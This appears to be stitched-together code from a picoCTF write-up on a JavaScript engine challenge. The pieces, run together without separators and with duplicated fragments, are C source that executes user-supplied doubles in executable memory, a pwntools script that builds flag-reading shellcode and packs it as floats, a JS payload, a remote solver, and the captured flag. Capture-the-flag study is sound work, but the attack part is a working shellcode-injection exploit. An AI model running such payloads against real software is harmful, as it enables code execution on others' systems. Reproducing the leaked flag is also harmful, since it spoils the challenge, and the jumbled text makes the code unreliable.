func[i] = val->Value();
}
}
printf("Memory Dump. Watch your endianness!!:\n");
for (uint32_t i = 0; i < arr->Length(); i++) {
printf("%d: float %f hex %lx\n", i, func[i], doubleToUint64_t(func[i]));
}
printf("Starting your engine!!\n");
void (*foo)() = (void(*)())func;
foo();
}
printf("Done\n");
}double *func = (double *)mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}from pwn import *
context.os = 'linux'
context.arch = 'amd64'
shellcode = asm(shellcraft.cat('flag.txt'))from pwn import *
# set all the context
context.os = 'linux'
context.arch = 'amd64'
# create the shellcode
shellcode = asm(shellcraft.cat('flag.txt'))
print(shellcode)
# pad it to a multiple of 8 with NOP instructions
# this means the converstion to 8-byte values is smoother
shellcode += b'\x90' * 4
# get the hex codes for every byte and store them as a string in the list
shellcode = [hex(c)[2:].rjust(2, '0') for c in shellcode]
# get the shellcode bytes in packs of 8, in reverse order for endianness, with 0x at the front
eight_bytes = ['0x' + ''.join(shellcode[i:i+8][::-1]) for i in range(0, len(shellcode), 8)]
print(eight_bytes)var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
// needs to have the `n` to be a BigInt value!
payload = [0x66b848240cfe016an, 0x507478742e67616cn, 0xf631e7894858026an, 0x7fffffffba41050fn, 0x016a58286ac68948n, 0x90909090050f995fn]
payload_float = []
for (let i = 0; i < payload.length; i++) {
payload_float.push(itof(payload[i]))
}
AssembleEngine(payload_float)from pwn import *
with open("exploit.js", "rb") as f:
exploit = f.read()
p = remote('mercury.picoctf.net', 48700)
p.sendlineafter(b'5k:', str(len(exploit)).encode())
p.sendlineafter(b'please!!\n', exploit)
p.recvuntil(b"Stdout b'")
flag = p.recvuntil(b"\\")[:-1]
print(flag.decode())picoCTF{vr00m_vr00m_48f07b402a4020e0}if (flag == true) {
x = 4;
} else {
x = 5;
}arr = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6];
console.log(arr[x]);